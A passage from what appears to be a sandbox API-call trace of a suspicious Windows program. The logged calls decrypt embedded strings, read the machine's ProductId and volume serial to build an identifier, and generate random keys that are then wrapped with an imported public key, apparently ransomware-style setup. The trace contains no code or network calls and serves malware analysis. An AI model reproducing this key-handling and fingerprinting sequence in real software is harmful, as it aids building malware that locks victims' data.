dwFlags=0x0, lpMem=0x2dc920 | out: hHeap=0x2c0000) returned 1 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x2dc920 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2debe0 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de9b0 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.400] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x40) returned 0x2df3a0 [0068.400] GetProcessHeap () returned 0x2c0000 [0068.400] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x80) returned 0x2de6b0 [0068.400] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de738) returned 1 [0068.400] CryptDecrypt (in: hKey=0x2de738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de6b0, pdwDataLen=0x18f3d8 | out: pbData=0x2de6b0, pdwDataLen=0x18f3d8) returned 1 [0068.400] CryptDestroyKey (hKey=0x2de738) returned 1 [0068.400] GetProcessHeap () returned 0x2c0000 [0068.400] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x80) returned 0x2e0388 [0068.400] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de738) returned 1 [0068.400] CryptDecrypt (in: hKey=0x2de738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e0388, pdwDataLen=0x18f3d8 | out: pbData=0x2e0388, pdwDataLen=0x18f3d8) returned 1 [0068.400] CryptDestroyKey (hKey=0x2de738) returned 1 [0068.400] SetErrorMode (uMode=0x1) returned 0x0 [0068.400] GetLogicalDrives () returned 0x4 [0068.400] GetProcessHeap () returned 0x2c0000 [0068.400] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x40) returned 0x2df3e8 [0068.400] CryptImportKey (in: hProv=0x2dc228, pbData=0x18eee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de738) returned 1 [0068.400] CryptDecrypt (in: hKey=0x2de738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2df3e8, pdwDataLen=0x18ef50 | out: pbData=0x2df3e8, pdwDataLen=0x18ef50) returned 1 [0068.400] CryptDestroyKey (hKey=0x2de738) returned 1 [0068.400] GetProcessHeap () returned 0x2c0000 [0068.400] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc998 [0068.401] CryptImportKey (in: hProv=0x2dc228, pbData=0x18eee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de738) returned 1 [0068.401] CryptDecrypt (in: hKey=0x2de738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc998, pdwDataLen=0x18ef50 | out: pbData=0x2dc998, pdwDataLen=0x18ef50) returned 1 [0068.401] CryptDestroyKey (hKey=0x2de738) returned 1 [0068.401] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef4c | out: phkResult=0x18ef4c*=0xc4) returned 0x0 [0068.401] RegQueryValueExA (in: hKey=0xc4, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef58, lpcbData=0x18ef54*=0x400 | out: lpType=0x0, lpData=0x18ef58*=0x30, lpcbData=0x18ef54*=0x18) returned 0x0 [0068.401] RegCloseKey (hKey=0xc4) returned 0x0 [0068.401] GetProcessHeap () returned 0x2c0000 [0068.401] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2df3e8 | out: hHeap=0x2c0000) returned 1 [0068.401] GetProcessHeap () returned 0x2c0000 [0068.401] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc998 | out: hHeap=0x2c0000) returned 1 [0068.401] GetProcessHeap () returned 0x2c0000 [0068.401] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc998 [0068.401] CryptImportKey (in: hProv=0x2dc228, pbData=0x18ecc0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de738) returned 1 [0068.401] CryptDecrypt (in: hKey=0x2de738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc998, pdwDataLen=0x18ed24 | out: pbData=0x2dc998, pdwDataLen=0x18ed24) returned 1 [0068.401] CryptDestroyKey (hKey=0x2de738) returned 1 [0068.401] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ed28, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0068.401] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ed20, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ed20*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.402] GetProcessHeap () returned 0x2c0000 [0068.402] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc998 | out: hHeap=0x2c0000) returned 1 [0068.402] wsprintfA (in: param_1=0x18ef6f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0068.402] wsprintfW (in: param_1=0x18f380, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0068.403] wsprintfW (in: param_1=0x18f390, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0068.403] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.403] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f370, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f370*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x34) returned 0x2de738 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de9c0 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2c) returned 0x2e0410 [0068.403] CryptGenRandom (in: hProv=0x2dc228, dwLen=0x20, pbBuffer=0x2e041c | out: pbBuffer=0x2e041c) returned 1 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2c) returned 0x2e0448 [0068.403] CryptGenRandom (in: hProv=0x2dc228, dwLen=0x20, pbBuffer=0x2e0454 | out: pbBuffer=0x2e0454) returned 1 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc998 [0068.403] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f360, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2e0480) returned 1 [0068.403] CryptDecrypt (in: hKey=0x2e0480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc998, pdwDataLen=0x18f3c8 | out: pbData=0x2dc998, pdwDataLen=0x18f3c8) returned 1 [0068.403] CryptDestroyKey (hKey=0x2e0480) returned 1 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x80) returned 0x2e0480 [0068.403] GetProcessHeap () returned 0x2c0000 [0068.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x80) returned 0x2e0508 [0068.403] CryptImportKey (in: hProv=0x2dc228, pbData=0x2dd270, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f3a8 | out: phKey=0x18f3a8*=0x2e0590) returned 1 [0068.404] CryptEncrypt (in: hKey=0x2e0590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e0480*, pdwDataLen=0x18f3ac*=0x75, dwBufLen=0x80 | out: pbData=0x2e0480*, pdwDataLen=0x18f3ac*=0x80) returned 1 [0068.404] CryptDestroyKey (hKey=0x2e0590) returned 1 [0068.404] CryptImportKey (in: hProv=0x2dc228, pbData=0x2dd270, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f3a8 | out: phKey=0x18f3a8*=0x2e0590) returned 1 [0068.404] CryptEncrypt (in: hKey=0x2e0590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e0508*, pdwDataLen=0x18f3ac*=0x75, dwBufLen=0x80 | out: pbData=0x2e0508*, pdwDataLen=0x18f3ac*=0x80) returned 1 [0068.404] CryptDestroyKey (hKey=0x2e0590) returned 1 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc998 | out: hHeap=0x2c0000) returned 1 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa0) returned 0x2e0590 [0068.404] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f350, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2e0638) returned 1 [0068.404] CryptDecrypt (in: hKey=0x2e0638, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e0590, pdwDataLen=0x18f3b8 | out: pbData=0x2e0590, pdwDataLen=0x18f3b8) returned 1 [0068.404] CryptDestroyKey (hKey=0x2e0638) returned 1 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c) returned 0x2dc998 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddbf0 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddc08 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x19) returned 0x2dc9c0 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddc20 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xd) returned 0x2ddc38 [0068.404] GetProcessHeap () returned 0x2c0000 [0068.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2dc9e8 [0068.405] GetProcessHeap () returned 0x2c0000 [0068.405] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1b) returned 0x2dca10 [0068.405] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0068.405] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0068.405] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0068.405] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0068.405] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0068.405] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0068.405] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0068.405] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0068.406] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0068.406] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0590 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddbf0 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddc08 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc9c0 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddc20 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddc38 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc9e8 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dca10 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc998 | out: hHeap=0x2c0000) returned 1 [0068.406] GetProcessHeap () returned 0x2c0000 [0068.406] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1000) returned 0x2e0590 [0068.407] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2e0590, ObjectInformationLength=0x1000, ReturnLength=0x18f39c | out: ObjectInformation=0x2e0590, ReturnLength=0x18f39c) returned 0xc0000004 [0068.407] GetProcessHeap () returned 0x2c0000 [0068.407] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0590 | out: hHeap=0x2c0000) returned 1 [0068.407] GetProcessHeap () returned 0x2c0000 [0068.407] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2000) returned 0x2e0590 [0068.407] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2e0590, ObjectInformationLength=0x2000, ReturnLength=0x18f39c | out: ObjectInformation=0x2e0590, ReturnLength=0x18f39c) returned 0x0 [0068.407] RtlGetVersion (in: lpVersionInformation=0x18f288 | out: lpVersionInformation=0x18f288*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0068.407] GetProcessHeap () returned 0x2c0000 [0068.407] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0590 | out: hHeap=0x2c0000) returned 1 [0068.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404f50, lpParameter=0x2dc190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0068.422] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0105.277] CloseHandle (hObject=0xc4) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0480 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0508 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0410 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0448 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de738 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de9c0 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc190 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de9c0 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de5e0 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de648 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc920 | out: hHeap=0x2c0000) returned 1 [0105.278] GetProcessHeap () returned 0x2c0000 [0105.278] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2debe0 | out: hHeap=0x2c0000) returned 1 [0105.279] GetProcessHeap () returned 0x2c0000 [0105.279] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de6b0 | out: hHeap=0x2c0000) returned 1 [0105.279] GetProcessHeap () returned 0x2c0000 [0105.279] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0388 | out: hHeap=0x2c0000) returned 1 [0105.279] GetProcessHeap () returned 0x2c0000 [0105.279] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2df3a0 | out: hHeap=0x2c0000) returned 1 [0105.279] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de9b0 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc768 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc790 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de090 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda40 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc8a8 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc8f8 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc8d0 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddea8 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dde98 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc7e0 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddec8 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda70 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de180 | out: hHeap=0x2c0000) returned 1 [0105.280] GetProcessHeap () returned 0x2c0000 [0105.280] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc7b8 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1a8 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda58 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1b8 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de590 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1c8 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de5c0 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.281] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1d8 | out: hHeap=0x2c0000) returned 1 [0105.281] GetProcessHeap () returned 0x2c0000 [0105.376] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc2b0 | out: hHeap=0x2c0000) returned 1 [0105.376] GetProcessHeap () returned 0x2c0000 [0105.376] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda88 | out: hHeap=0x2c0000) returned 1 [0105.376] GetProcessHeap () returned 0x2c0000 [0105.376] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1f8 | out: hHeap=0x2c0000) returned 1 [0105.376] GetProcessHeap () returned 0x2c0000 [0105.376] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de1e8 | out: hHeap=0x2c0000) returned 1 [0105.728] GetProcessHeap () returned 0x2c0000 [0105.729] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc830 | out: hHeap=0x2c0000) returned 1 [0105.729] GetProcessHeap () returned 0x2c0000 [0105.730] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de218 | out: hHeap=0x2c0000) returned 1 [0105.731] GetProcessHeap () returned 0x2c0000 [0105.731] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de208 | out: hHeap=0x2c0000) returned 1 [0105.731] GetProcessHeap () returned 0x2c0000 [0105.731] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de248 | out: hHeap=0x2c0000) returned 1 [0105.734] GetProcessHeap () returned 0x2c0000 [0105.734] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de238 | out: hHeap=0x2c0000) returned 1 [0105.734] GetProcessHeap () returned 0x2c0000 [0105.734] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de268 | out: hHeap=0x2c0000) returned 1 [0105.736] GetProcessHeap () returned 0x2c0000 [0105.736] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de258 | out: hHeap=0x2c0000) returned 1 [0105.736] GetProcessHeap () returned 0x2c0000 [0105.736] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de288 | out: hHeap=0x2c0000) returned 1 [0105.736] GetProcessHeap () returned 0x2c0000 [0105.736] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de278 | out: hHeap=0x2c0000) returned 1 [0105.736] GetProcessHeap () returned 0x2c0000 [0105.736] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2a8 | out: hHeap=0x2c0000) returned 1 [0105.736] GetProcessHeap () returned 0x2c0000 [0105.738] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de298 | out: hHeap=0x2c0000) returned 1 [0105.738] GetProcessHeap () returned 0x2c0000 [0105.738] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddaa0 | out: hHeap=0x2c0000) returned 1 [0105.742] GetProcessHeap () returned 0x2c0000 [0105.742] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2b8 | out: hHeap=0x2c0000) returned 1 [0105.742] GetProcessHeap () returned 0x2c0000 [0105.742] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddab8 | out: hHeap=0x2c0000) returned 1 [0105.742] GetProcessHeap () returned 0x2c0000 [0105.742] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2c8 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddad0 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2d8 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2f8 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de2e8 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de318 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de308 | out: hHeap=0x2c0000) returned 1 [0105.746] GetProcessHeap () returned 0x2c0000 [0105.746] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de338 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de328 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de358 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de348 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de0d8 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de368 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddae8 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de378 | out: hHeap=0x2c0000) returned 1 [0105.747] GetProcessHeap () returned 0x2c0000 [0105.747] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb00 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de388 | out: hHeap=0x2c0000) returned 1 [0105.748] 